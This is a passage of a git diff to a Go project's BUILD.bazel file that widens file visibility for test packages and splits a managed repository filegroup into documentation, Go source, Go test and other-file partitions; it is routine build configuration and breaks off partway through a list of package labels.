mode 100644 scripts/scripts_targets_test.go create mode 100644 scripts/shard_manifest_test.go create mode 100644 scripts/testing_short_tree_test.go create mode 100644 scripts/tracked_files_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 3699152e2..69157bf54 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -22,6 +22,7 @@ gazelle(name = "gazelle") exports_files( [".buildflags"], visibility = [ + "//scripts:__pkg__", "//scripts/prlintmake:__pkg__", "//tests/upgrade_smoke:__pkg__", ], @@ -33,9 +34,11 @@ exports_files([ ]) # The golangci-lint configuration nogo applies (//tools/nogo), and its test. +# //test/docsync checks the agent instructions' links to it. exports_files( [".golangci.yml"], visibility = [ + "//test/docsync:__pkg__", "//tools/nogo:__pkg__", "//tools/nogo/internal/golangci:__pkg__", ], @@ -49,7 +52,8 @@ exports_files( ) # //tests/hook_timeout_backends: the tracked git hooks whose managed section -# it runs against real timeout implementations. +# it runs against real timeout implementations. //scripts:shell_scripts_test +# runs pre-push's suite dispatch. exports_files( [ ".githooks/post-checkout", @@ -58,7 +62,49 @@ exports_files( ".githooks/pre-push", ".githooks/prepare-commit-msg", ], - visibility = ["//tests/hook_timeout_backends:__pkg__"], + visibility = [ + "//scripts:__pkg__", + "//tests/hook_timeout_backends:__pkg__", + ], +) + +# //scripts:shell_scripts_test: scripts/test.sh's skip list. +exports_files( + [".test-skip"], + visibility = ["//scripts:__pkg__"], +) + +# The nested Go modules' go.mod files, which mark where the root module ends: +# //scripts:go_test_sources_test's scan of every _test.go file skips their +# trees, as `go test ./...` does. (go.mod is in no Go partition below: it is +# in //:repo_other_files.) +filegroup( + name = "nested_go_modules", + srcs = [ + "examples/bd-example-extension-go/go.mod", + "examples/library-usage/go.mod", + "//tools/nogo:go.mod", + ], + visibility = ["//scripts:__pkg__"], +) + +# //scripts/repochecks:winget_portable_alias_test: the winget manifests. +filegroup( + name = "winget_manifests", + srcs = glob(["winget/**"]), + visibility = ["//scripts/repochecks:__pkg__"], +) + +# //test/docsync: the repository files outside its Markdown and Go-test +# partitions that the docs and agent instructions link to by path. A new link +# to a file not listed here fails docsync_test under Bazel; add the file. +exports_files( + [ + ".github/workflows/bazel.yml", + "beads.go", + "docs/docs.json", + ], + visibility = ["//test/docsync:__pkg__"], ) # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula @@ -83,7 +129,8 @@ exports_files( # //internal/storage/embeddeddolt:embeddeddolt_embedded_test, # //internal/storage/dolt:dolt_server_full_test) run them through # tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the -# tests of the CI job with the same shard number. +# tests of the CI job with the same shard number. //scripts:go_test_sources_test +# checks the manifests and scripts against the tests they shard. exports_files( [ ".github/scripts/embedded-cmd-test-shards.txt", @@ -99,6 +146,7 @@ exports_files( "//cmd/bd:__pkg__", "//internal/storage/dolt:__pkg__", "//internal/storage/embeddeddolt:__pkg__", + "//scripts:__pkg__", ], ) @@ -199,13 +247,682 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = [ + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_doc_files", + "//backend/conformance:repo_doc_files", + "//beadserrors:repo_doc_files", + "//cmd/bd:repo_doc_files", + "//cmd/bd/doctor:repo_doc_files", + "//cmd/bd/doctor/fix:repo_doc_files", + "//cmd/bd/protocol:repo_doc_files", + "//cmd/bd/setup:repo_doc_files", + "//format:repo_doc_files", + "//internal/ado:repo_doc_files", + "//internal/atomicfile:repo_doc_files", + "//internal/audit:repo_doc_files", + "//internal/beads:repo_doc_files", + "//internal/ceiling:repo_doc_files", + "//internal/compact:repo_doc_files", + "//internal/config:repo_doc_files", + "//internal/configfile:repo_doc_files", + "//internal/creds:repo_doc_files", + "//internal/debug:repo_doc_files", + "//internal/doltremote:repo_doc_files", + "//internal/doltserver:repo_doc_files", + "//internal/doltversion:repo_doc_files", + "//internal/eventsjournal:repo_doc_files", + "//internal/execenv:repo_doc_files", + "//internal/fdhygiene:repo_doc_files", + "//internal/formula:repo_doc_files", + "//internal/formula/cmd/schemagen:repo_doc_files", + "//internal/formula/schemagen:repo_doc_files", + "//internal/git:repo_doc_files", + "//internal/gitenv:repo_doc_files", + "//internal/githooksenv:repo_doc_files", + "//internal/github:repo_doc_files", + "//internal/gitignore:repo_doc_files", + "//internal/gitlab:repo_doc_files", + "//internal/gittraceenv:repo_doc_files", + "//internal/hooks:repo_doc_files", + "//internal/httpapi:repo_doc_files", + "//internal/httpapi/apigen:repo_doc_files", + "//internal/httpapi/spec:repo_doc_files", + "//internal/httpapi/wireshape:repo_doc_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_doc_files", + "//internal/httpclient:repo_doc_files", + "//internal/httpclient/encode:repo_doc_files", + "//internal/httpclient/wire:repo_doc_files", + "//internal/idgen:repo_doc_files", + "//internal/jira:repo_doc_files", + "//internal/linear:repo_doc_files", + "//internal/lockfile:repo_doc_files", + "//internal/memoryapi:repo_doc_files", + "//internal/metrics:repo_doc_files", + "//internal/migration:repo_doc_files", + "//internal/migration/legacysqlite:repo_doc_files", + "//internal/molecules:repo_doc_files", + "//internal/notion:repo_doc_files", + "//internal/procid:repo_doc_files", + "//internal/query:repo_doc_files", + "//internal/recipes:repo_doc_files", + "//internal/remotecache:repo_doc_files", + "//internal/routing:repo_doc_files", + "//internal/storage:repo_doc_files", + "//internal/storage/backendnames:repo_doc_files", + "//internal/storage/backends:repo_doc_files", + "//internal/storage/batchbench:repo_doc_files", + "//internal/storage/batchfixtures:repo_doc_files", + "//internal/storage/contextinfo:repo_doc_files", + "//internal/storage/createbatchequiv:repo_doc_files", + "//internal/storage/dberrors:repo_doc_files", + "//internal/storage/dbproxy/identity:repo_doc_files", + "//internal/storage/dbproxy/pidfile:repo_doc_files", + "//internal/storage/dbproxy/proxy:repo_doc_files", + "//internal/storage/dbproxy/server:repo_doc_files", + "//internal/storage/dbproxy/util:repo_doc_files", + "//internal/storage/depid:repo_doc_files", + "//internal/storage/dolt:repo_doc_files", + "//internal/storage/doltutil:repo_doc_files", + "//internal/storage/domain:repo_doc_files", + "//internal/storage/domain/db:repo_doc_files", + "//internal/storage/domain/fs:repo_doc_files", + "//internal/storage/domain/git:repo_doc_files", + "//internal/storage/embeddeddolt:repo_doc_files", + "//internal/storage/embeddeddolt/cmd:repo_doc_files", + "//internal/storage/externaldeps:repo_doc_files", + "//internal/storage/fs:repo_doc_files", + "//internal/storage/git:repo_doc_files", + "//internal/storage/issueops:repo_doc_files", + "//internal/storage/journalscan:repo_doc_files", + "//internal/storage/kvkeys:repo_doc_files", + "//internal/storage/memoryops:repo_doc_files", + "//internal/storage/rowid:repo_doc_files", + "//internal/storage/schema:repo_doc_files", + "//internal/storage/sqlbuild:repo_doc_files", + "//internal/storage/sqlclass:repo_doc_files", + "//internal/storage/sqlcount:repo_doc_files", + "//internal/storage/storagecontract:repo_doc_files", + "//internal/storage/unsupportedgen:repo_doc_files", + "//internal/storage/uow:repo_doc_files", + "//internal/storage/versioncontrolops:repo_doc_files", + "//internal/telemetry:repo_doc_files", + "//internal/templates:repo_doc_files", + "//internal/templates/agents:repo_doc_files", + "//internal/testutil:repo_doc_files", + "//internal/testutil/bazeltest:repo_doc_files", + "//internal/testutil/credentialcmd:repo_doc_files", + "//internal/testutil/fixtures:repo_doc_files", + "//internal/testutil/integration:repo_doc_files", + "//internal/timeparsing:repo_doc_files", + "//internal/tracker:repo_doc_files", + "//internal/tracker/conformance:repo_doc_files", + "//internal/types:repo_doc_files", + "//internal/ui:repo_doc_files", + "//internal/uimd:repo_doc_files", + "//internal/utils:repo_doc_files", + "//internal/validation:repo_doc_files", + "//internal/versioncheck:repo_doc_files", + "//internal/workapi:repo_doc_files", + "//internal/workapi/storecounter:repo_doc_files", + "//internal/workapi/storequerier:repo_doc_files", + "//internal/workapi/storereader:repo_doc_files", + "//internal/workapi/storereadycounter:repo_doc_files", + "//internal/workapi/storestats:repo_doc_files", + "//internal/workapi/storeversionreconciler:repo_doc_files", + "//internal/workapi/storeworkspaceconfig:repo_doc_files", + "//internal/workspacegate:repo_doc_files", + "//internal/worktreeremove:repo_doc_files", + "//issueops:repo_doc_files", + "//journalops:repo_doc_files", + "//memoryops:repo_doc_files", + "//platforms:repo_doc_files", + "//plugins/beads:repo_doc_files", + "//schema:repo_doc_files", + "//scripts:repo_doc_files", + "//scripts/bench-ready-indexes:repo_doc_files", + "//scripts/check-versions:repo_doc_files", + "//scripts/checkworkflowtags:repo_doc_files", + "//scripts/gitattributespolicy:repo_doc_files", + "//scripts/internal/testbash:repo_doc_files", + "//scripts/migration-test/catalog:repo_doc_files", + "//scripts/pr-lint:repo_doc_files", + "//scripts/prlintmake:repo_doc_files", + "//scripts/repochecks:repo_doc_files", + "//scripts/repro-dolt-hang:repo_doc_files", + "//scripts/repro-dolt-prod-timeouts:repo_doc_files", + "//scripts/workflowtags:repo_doc_files", + "//test/conformance:repo_doc_files", + "//test/docsync:repo_doc_files", + "//test/testmainconvention:repo_doc_files", + "//tests/hook_timeout_backends:repo_doc_files", + "//tests/migration:repo_doc_files", + "//tests/regression:repo_doc_files", + "//tests/upgrade_smoke:repo_doc_files", + "//third_party/cc_toolchain:repo_doc_files", + "//third_party/patches:repo_doc_files", + "//tools/bazel:repo_doc_files", + "//tools/docsmint:repo_doc_files", + "//tools/nogo:repo_doc_files", + "//tools/nogo/analyzers/depguard:repo_doc_files", + "//tools/nogo/analyzers/errcheck:repo_doc_files", + "//tools/nogo/analyzers/forbidigo:repo_doc_files", + "//tools/nogo/analyzers/gosec:repo_doc_files", + "//tools/nogo/analyzers/misspell:repo_doc_files", + "//tools/nogo/analyzers/sloglint:repo_doc_files", + "//tools/nogo/analyzers/unconvert:repo_doc_files", + "//tools/nogo/analyzers/unparam:repo_doc_files", + "//tools/nogo/internal/analyzertest:repo_doc_files", + "//tools/nogo/internal/golangci:repo_doc_files", + "//tools/nogo/internal/position:repo_doc_files", + ], + visibility = ["//:__subpackages__"], +) + filegroup( name = "repo_files", + srcs = [ + ":repo_doc_files", + ":repo_go_srcs", + ":repo_go_test_srcs", + ":repo_other_files", + ], + visibility = [ + "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", + ], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_go_srcs", + "//backend/conformance:repo_go_srcs", + "//beadserrors:repo_go_srcs", + "//cmd/bd:repo_go_srcs", + "//cmd/bd/doctor:repo_go_srcs", + "//cmd/bd/doctor/fix:repo_go_srcs", + "//cmd/bd/protocol:repo_go_srcs", + "//cmd/bd/setup:repo_go_srcs", + "//format:repo_go_srcs", + "//internal/ado:repo_go_srcs", + "//internal/atomicfile:repo_go_srcs", + "//internal/audit:repo_go_srcs", + "//internal/beads:repo_go_srcs", + "//internal/ceiling:repo_go_srcs", + "//internal/compact:repo_go_srcs", + "//internal/config:repo_go_srcs", + "//internal/configfile:repo_go_srcs", + "//internal/creds:repo_go_srcs", + "//internal/debug:repo_go_srcs", + "//internal/doltremote:repo_go_srcs", + "//internal/doltserver:repo_go_srcs", + "//internal/doltversion:repo_go_srcs", + "//internal/eventsjournal:repo_go_srcs", + "//internal/execenv:repo_go_srcs", + "//internal/fdhygiene:repo_go_srcs", + "//internal/formula:repo_go_srcs", + "//internal/formula/cmd/schemagen:repo_go_srcs", + "//internal/formula/schemagen:repo_go_srcs", + "//internal/git:repo_go_srcs", + "//internal/gitenv:repo_go_srcs", + "//internal/githooksenv:repo_go_srcs", + "//internal/github:repo_go_srcs", + "//internal/gitignore:repo_go_srcs", + "//internal/gitlab:repo_go_srcs", + "//internal/gittraceenv:repo_go_srcs", + "//internal/hooks:repo_go_srcs", + "//internal/httpapi:repo_go_srcs", + "//internal/httpapi/apigen:repo_go_srcs", + "//internal/httpapi/spec:repo_go_srcs", + "//internal/httpapi/wireshape:repo_go_srcs", + "//internal/httpapi/wireshape/cmd/gendigest:repo_go_srcs", + "//internal/httpclient:repo_go_srcs", + "//internal/httpclient/encode:repo_go_srcs", + "//internal/httpclient/wire:repo_go_srcs", + "//internal/idgen:repo_go_srcs", + "//internal/jira:repo_go_srcs", + "//internal/linear:repo_go_srcs", + "//internal/lockfile:repo_go_srcs", + "//internal/memoryapi:repo_go_srcs", + "//internal/metrics:repo_go_srcs", + "//internal/migration:repo_go_srcs", + "//internal/migration/legacysqlite:repo_go_srcs", + "//internal/molecules:repo_go_srcs", + "//internal/notion:repo_go_srcs", + "//internal/procid:repo_go_srcs", + "//internal/query:repo_go_srcs", + "//internal/recipes:repo_go_srcs", + "//internal/remotecache:repo_go_srcs", + "//internal/routing:repo_go_srcs", + "//internal/storage:repo_go_srcs", + "//internal/storage/backendnames:repo_go_srcs", + "//internal/storage/backends:repo_go_srcs", + "//internal/storage/batchbench:repo_go_srcs", + "//internal/storage/batchfixtures:repo_go_srcs", + "//internal/storage/contextinfo:repo_go_srcs", + "//internal/storage/createbatchequiv:repo_go_srcs", + "//internal/storage/dberrors:repo_go_srcs", + "//internal/storage/dbproxy/identity:repo_go_srcs", + "//internal/storage/dbproxy/pidfile:repo_go_srcs", + "//internal/storage/dbproxy/proxy:repo_go_srcs", + "//internal/storage/dbproxy/server:repo_go_srcs", + "//internal/storage/dbproxy/util:repo_go_srcs", + "//internal/storage/depid:repo_go_srcs", + "//internal/storage/dolt:repo_go_srcs", + "//internal/storage/doltutil:repo_go_srcs", + "//internal/storage/domain:repo_go_srcs", + "//internal/storage/domain/db:repo_go_srcs", + "//internal/storage/domain/fs:repo_go_srcs", + "//internal/storage/domain/git:repo_go_srcs", + "//internal/storage/embeddeddolt:repo_go_srcs", + "//internal/storage/embeddeddolt/cmd:repo_go_srcs", + "//internal/storage/externaldeps:repo_go_srcs", + "//internal/storage/fs:repo_go_srcs", + "//internal/storage/git:repo_go_srcs", + "//internal/storage/issueops:repo_go_srcs", + "//internal/storage/journalscan:repo_go_srcs", + "//internal/storage/kvkeys:repo_go_srcs", + "//internal/storage/memoryops:repo_go_srcs", + "//internal/storage/rowid:repo_go_srcs", + "//internal/storage/schema:repo_go_srcs", + "//internal/storage/sqlbuild:repo_go_srcs", + "//internal/storage/sqlclass:repo_go_srcs", + "//internal/storage/sqlcount:repo_go_srcs", + "//internal/storage/storagecontract:repo_go_srcs", + "//internal/storage/unsupportedgen:repo_go_srcs", + "//internal/storage/uow:repo_go_srcs", + "//internal/storage/versioncontrolops:repo_go_srcs", + "//internal/telemetry:repo_go_srcs", + "//internal/templates:repo_go_srcs", + "//internal/templates/agents:repo_go_srcs", + "//internal/testutil:repo_go_srcs", + "//internal/testutil/bazeltest:repo_go_srcs", + "//internal/testutil/credentialcmd:repo_go_srcs", + "//internal/testutil/fixtures:repo_go_srcs", + "//internal/testutil/integration:repo_go_srcs", + "//internal/timeparsing:repo_go_srcs", + "//internal/tracker:repo_go_srcs", + "//internal/tracker/conformance:repo_go_srcs", + "//internal/types:repo_go_srcs", + "//internal/ui:repo_go_srcs", + "//internal/uimd:repo_go_srcs", + "//internal/utils:repo_go_srcs", + "//internal/validation:repo_go_srcs", + "//internal/versioncheck:repo_go_srcs", + "//internal/workapi:repo_go_srcs", + "//internal/workapi/storecounter:repo_go_srcs", + "//internal/workapi/storequerier:repo_go_srcs", + "//internal/workapi/storereader:repo_go_srcs", + "//internal/workapi/storereadycounter:repo_go_srcs", + "//internal/workapi/storestats:repo_go_srcs", + "//internal/workapi/storeversionreconciler:repo_go_srcs", + "//internal/workapi/storeworkspaceconfig:repo_go_srcs", + "//internal/workspacegate:repo_go_srcs", + "//internal/worktreeremove:repo_go_srcs", + "//issueops:repo_go_srcs", + "//journalops:repo_go_srcs", + "//memoryops:repo_go_srcs", + "//platforms:repo_go_srcs", + "//plugins/beads:repo_go_srcs", + "//schema:repo_go_srcs", + "//scripts:repo_go_srcs", + "//scripts/bench-ready-indexes:repo_go_srcs", + "//scripts/check-versions:repo_go_srcs", + "//scripts/checkworkflowtags:repo_go_srcs", + "//scripts/gitattributespolicy:repo_go_srcs", + "//scripts/internal/testbash:repo_go_srcs", + "//scripts/migration-test/catalog:repo_go_srcs", + "//scripts/pr-lint:repo_go_srcs", + "//scripts/prlintmake:repo_go_srcs", + "//scripts/repochecks:repo_go_srcs", + "//scripts/repro-dolt-hang:repo_go_srcs", + "//scripts/repro-dolt-prod-timeouts:repo_go_srcs", + "//scripts/workflowtags:repo_go_srcs", + "//test/conformance:repo_go_srcs", + "//test/docsync:repo_go_srcs", + "//test/testmainconvention:repo_go_srcs", + "//tests/hook_timeout_backends:repo_go_srcs", + "//tests/migration:repo_go_srcs", + "//tests/regression:repo_go_srcs", + "//tests/upgrade_smoke:repo_go_srcs", + "//third_party/cc_toolchain:repo_go_srcs", + "//third_party/patches:repo_go_srcs", + "//tools/bazel:repo_go_srcs", + "//tools/docsmint:repo_go_srcs", + "//tools/nogo:repo_go_srcs", + "//tools/nogo/analyzers/depguard:repo_go_srcs", + "//tools/nogo/analyzers/errcheck:repo_go_srcs", + "//tools/nogo/analyzers/forbidigo:repo_go_srcs", + "//tools/nogo/analyzers/gosec:repo_go_srcs", + "//tools/nogo/analyzers/misspell:repo_go_srcs", + "//tools/nogo/analyzers/sloglint:repo_go_srcs", + "//tools/nogo/analyzers/unconvert:repo_go_srcs", + "//tools/nogo/analyzers/unparam:repo_go_srcs", + "//tools/nogo/internal/analyzertest:repo_go_srcs", + "//tools/nogo/internal/golangci:repo_go_srcs", + "//tools/nogo/internal/position:repo_go_srcs", + ], + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = [ + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_go_test_srcs", + "//backend/conformance:repo_go_test_srcs", + "//beadserrors:repo_go_test_srcs", + "//cmd/bd:repo_go_test_srcs", + "//cmd/bd/doctor:repo_go_test_srcs", + "//cmd/bd/doctor/fix:repo_go_test_srcs", + "//cmd/bd/protocol:repo_go_test_srcs", + "//cmd/bd/setup:repo_go_test_srcs", + "//format:repo_go_test_srcs", + "//internal/ado:repo_go_test_srcs", + "//internal/atomicfile:repo_go_test_srcs", + "//internal/audit:repo_go_test_srcs", + "//internal/beads:repo_go_test_srcs", + "//internal/ceiling:repo_go_test_srcs", + "//internal/compact:repo_go_test_srcs", + "//internal/config:repo_go_test_srcs", + "//internal/configfile:repo_go_test_srcs", + "//internal/creds:repo_go_test_srcs", + "//internal/debug:repo_go_test_srcs", + "//internal/doltremote:repo_go_test_srcs", + "//internal/doltserver:repo_go_test_srcs", + "//internal/doltversion:repo_go_test_srcs", + "//internal/eventsjournal:repo_go_test_srcs", + "//internal/execenv:repo_go_test_srcs", + "//internal/fdhygiene:repo_go_test_srcs", + "//internal/formula:repo_go_test_srcs", + "//internal/formula/cmd/schemagen:repo_go_test_srcs", + "//internal/formula/schemagen:repo_go_test_srcs", + "//internal/git:repo_go_test_srcs", + "//internal/gitenv:repo_go_test_srcs", + "//internal/githooksenv:repo_go_test_srcs", + "//internal/github:repo_go_test_srcs", + "//internal/gitignore:repo_go_test_srcs", + "//internal/gitlab:repo_go_test_srcs", + "//internal/gittraceenv:repo_go_test_srcs", + "//internal/hooks:repo_go_test_srcs", + "//internal/httpapi:repo_go_test_srcs", + "//internal/httpapi/apigen:repo_go_test_srcs", + "//internal/httpapi/spec:repo_go_test_srcs", + "//internal/httpapi/wireshape:repo_go_test_srcs", + "//internal/httpapi/wireshape/cmd/gendigest:repo_go_test_srcs", + "//internal/httpclient:repo_go_test_srcs", + "//internal/httpclient/encode:repo_go_test_srcs", + "//internal/httpclient/wire:repo_go_test_srcs", + "//internal/idgen:repo_go_test_srcs", + "//internal/jira:repo_go_test_srcs", + "//internal/linear:repo_go_test_srcs", + "//internal/lockfile:repo_go_test_srcs", + "//internal/memoryapi:repo_go_test_srcs", + "//internal/metrics:repo_go_test_srcs", + "//internal/migration:repo_go_test_srcs", + "//internal/migration/legacysqlite:repo_go_test_srcs", + "//internal/molecules:repo_go_test_srcs", + "//internal/notion:repo_go_test_srcs", + "//internal/procid:repo_go_test_srcs", + "//internal/query:repo_go_test_srcs", + "//internal/recipes:repo_go_test_srcs", + "//internal/remotecache:repo_go_test_srcs", + "//internal/routing:repo_go_test_srcs", + "//internal/storage:repo_go_test_srcs", + "//internal/storage/backendnames:repo_go_test_srcs", + "//internal/storage/backends:repo_go_test_srcs", + "//internal/storage/batchbench:repo_go_test_srcs", + "//internal/storage/batchfixtures:repo_go_test_srcs", + "//internal/storage/contextinfo:repo_go_test_srcs", + "//internal/storage/createbatchequiv:repo_go_test_srcs", + "//internal/storage/dberrors:repo_go_test_srcs", + "//internal/storage/dbproxy/identity:repo_go_test_srcs", + "//internal/storage/dbproxy/pidfile:repo_go_test_srcs", + "//internal/storage/dbproxy/proxy:repo_go_test_srcs", + "//internal/storage/dbproxy/server:repo_go_test_srcs", + "//internal/storage/dbproxy/util:repo_go_test_srcs", + "//internal/storage/depid:repo_go_test_srcs", + "//internal/storage/dolt:repo_go_test_srcs", + "//internal/storage/doltutil:repo_go_test_srcs", + "//internal/storage/domain:repo_go_test_srcs", + "//internal/storage/domain/db:repo_go_test_srcs", + "//internal/storage/domain/fs:repo_go_test_srcs", + "//internal/storage/domain/git:repo_go_test_srcs", + "//internal/storage/embeddeddolt:repo_go_test_srcs", + "//internal/storage/embeddeddolt/cmd:repo_go_test_srcs", + "//internal/storage/externaldeps:repo_go_test_srcs", + "//internal/storage/fs:repo_go_test_srcs", + "//internal/storage/git:repo_go_test_srcs", + "//internal/storage/issueops:repo_go_test_srcs", + "//internal/storage/journalscan:repo_go_test_srcs", + "//internal/storage/kvkeys:repo_go_test_srcs", + "//internal/storage/memoryops:repo_go_test_srcs", + "//internal/storage/rowid:repo_go_test_srcs", + "//internal/storage/schema:repo_go_test_srcs", + "//internal/storage/sqlbuild:repo_go_test_srcs", + "//internal/storage/sqlclass:repo_go_test_srcs", + "//internal/storage/sqlcount:repo_go_test_srcs", + "//internal/storage/storagecontract:repo_go_test_srcs", + "//internal/storage/unsupportedgen:repo_go_test_srcs", + "//internal/storage/uow:repo_go_test_srcs", + "//internal/storage/versioncontrolops:repo_go_test_srcs", + "//internal/telemetry:repo_go_test_srcs", + "//internal/templates:repo_go_test_srcs", + "//internal/templates/agents:repo_go_test_srcs", + "//internal/testutil:repo_go_test_srcs", + "//internal/testutil/bazeltest:repo_go_test_srcs", + "//internal/testutil/credentialcmd:repo_go_test_srcs", + "//internal/testutil/fixtures:repo_go_test_srcs", + "//internal/testutil/integration:repo_go_test_srcs", + "//internal/timeparsing:repo_go_test_srcs", + "//internal/tracker:repo_go_test_srcs", + "//internal/tracker/conformance:repo_go_test_srcs", + "//internal/types:repo_go_test_srcs", + "//internal/ui:repo_go_test_srcs", + "//internal/uimd:repo_go_test_srcs", + "//internal/utils:repo_go_test_srcs", + "//internal/validation:repo_go_test_srcs", + "//internal/versioncheck:repo_go_test_srcs", + "//internal/workapi:repo_go_test_srcs", + "//internal/workapi/storecounter:repo_go_test_srcs", + "//internal/workapi/storequerier:repo_go_test_srcs", + "//internal/workapi/storereader:repo_go_test_srcs", + "//internal/workapi/storereadycounter:repo_go_test_srcs", + "//internal/workapi/storestats:repo_go_test_srcs", + "//internal/workapi/storeversionreconciler:repo_go_test_srcs", + "//internal/workapi/storeworkspaceconfig:repo_go_test_srcs", + "//internal/workspacegate:repo_go_test_srcs", + "//internal/worktreeremove:repo_go_test_srcs", + "//issueops:repo_go_test_srcs", + "//journalops:repo_go_test_srcs", + "//memoryops:repo_go_test_srcs", + "//platforms:repo_go_test_srcs", + "//plugins/beads:repo_go_test_srcs", + "//schema:repo_go_test_srcs", + "//scripts:repo_go_test_srcs", + "//scripts/bench-ready-indexes:repo_go_test_srcs", + "//scripts/check-versions:repo_go_test_srcs", + "//scripts/checkworkflowtags:repo_go_test_srcs", + "//scripts/gitattributespolicy:repo_go_test_srcs", + "//scripts/internal/testbash:repo_go_test_srcs", + "//scripts/migration-test/catalog:repo_go_test_srcs", + "//scripts/pr-lint:repo_go_test_srcs", + "//scripts/prlintmake:repo_go_test_srcs", + "//scripts/repochecks:repo_go_test_srcs", + "//scripts/repro-dolt-hang:repo_go_test_srcs", + "//scripts/repro-dolt-prod-timeouts:repo_go_test_srcs", + "//scripts/workflowtags:repo_go_test_srcs", + "//test/conformance:repo_go_test_srcs", + "//test/docsync:repo_go_test_srcs", + "//test/testmainconvention:repo_go_test_srcs", + "//tests/hook_timeout_backends:repo_go_test_srcs", + "//tests/migration:repo_go_test_srcs", + "//tests/regression:repo_go_test_srcs", + "//tests/upgrade_smoke:repo_go_test_srcs", + "//third_party/cc_toolchain:repo_go_test_srcs", + "//third_party/patches:repo_go_test_srcs", + "//tools/bazel:repo_go_test_srcs", + "//tools/docsmint:repo_go_test_srcs", + "//tools/nogo:repo_go_test_srcs", + "//tools/nogo/analyzers/depguard:repo_go_test_srcs", + "//tools/nogo/analyzers/errcheck:repo_go_test_srcs", + "//tools/nogo/analyzers/forbidigo:repo_go_test_srcs", + "//tools/nogo/analyzers/gosec:repo_go_test_srcs", + "//tools/nogo/analyzers/misspell:repo_go_test_srcs", + "//tools/nogo/analyzers/sloglint:repo_go_test_srcs", + "//tools/nogo/analyzers/unconvert:repo_go_test_srcs", + "//tools/nogo/analyzers/unparam:repo_go_test_srcs", + "//tools/nogo/internal/analyzertest:repo_go_test_srcs", + "//tools/nogo/internal/golangci:repo_go_test_srcs", + "//tools/nogo/internal/position:repo_go_test_srcs", + ], + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -251,178 +968,174 @@ filegroup( "user.bazelrc", ], ) + [ - "//backend:repo_files", - "//backend/conformance:repo_files", - "//beadserrors:repo_files", - "//cmd/bd:repo_files", - "//cmd/bd/doctor:repo_files", - "//cmd/bd/doctor/fix:repo_files", - "//cmd/bd/protocol:repo_files", - "//cmd/bd/setup:repo_files", - "//format:repo_files", - "//internal/ado:repo_files", - "//internal/atomicfile:repo_files", - "//internal/audit:repo_files", - "//internal/beads:repo_files", - "//internal/ceiling:repo_files", - "//internal/compact:repo_files", - "//internal/config:repo_files", - "//internal/configfile:repo_files", - "//internal/creds:repo_files", - "//internal/debug:repo_files", - "//internal/doltremote:repo_files", - "//internal/doltserver:repo_files", - "//internal/doltversion:repo_files", - "//internal/eventsjournal:repo_files", - "//internal/execenv:repo_files", - "//internal/fdhygiene:repo_files", - "//internal/formula:repo_files", - "//internal/formula/cmd/schemagen:repo_files", - "//internal/formula/schemagen:repo_files", - "//internal/git:repo_files", - "//internal/gitenv:repo_files", - "//internal/githooksenv:repo_files", - "//internal/github:repo_files", - "//internal/gitignore:repo_files", - "//internal/gitlab:repo_files", - "//internal/gittraceenv:repo_files", - "//internal/hooks:repo_files", - "//internal/httpapi:repo_files", - "//internal/httpapi/apigen:repo_files", - "//internal/httpapi/spec:repo_files", - "//internal/httpapi/wireshape:repo_files", - "//internal/httpapi/wireshape/cmd/gendigest:repo_files", - "//internal/httpclient:repo_files", - "//internal/httpclient/encode:repo_files", - "//internal/httpclient/wire:repo_files", - "//internal/idgen:repo_files", - "//internal/jira:repo_files", - 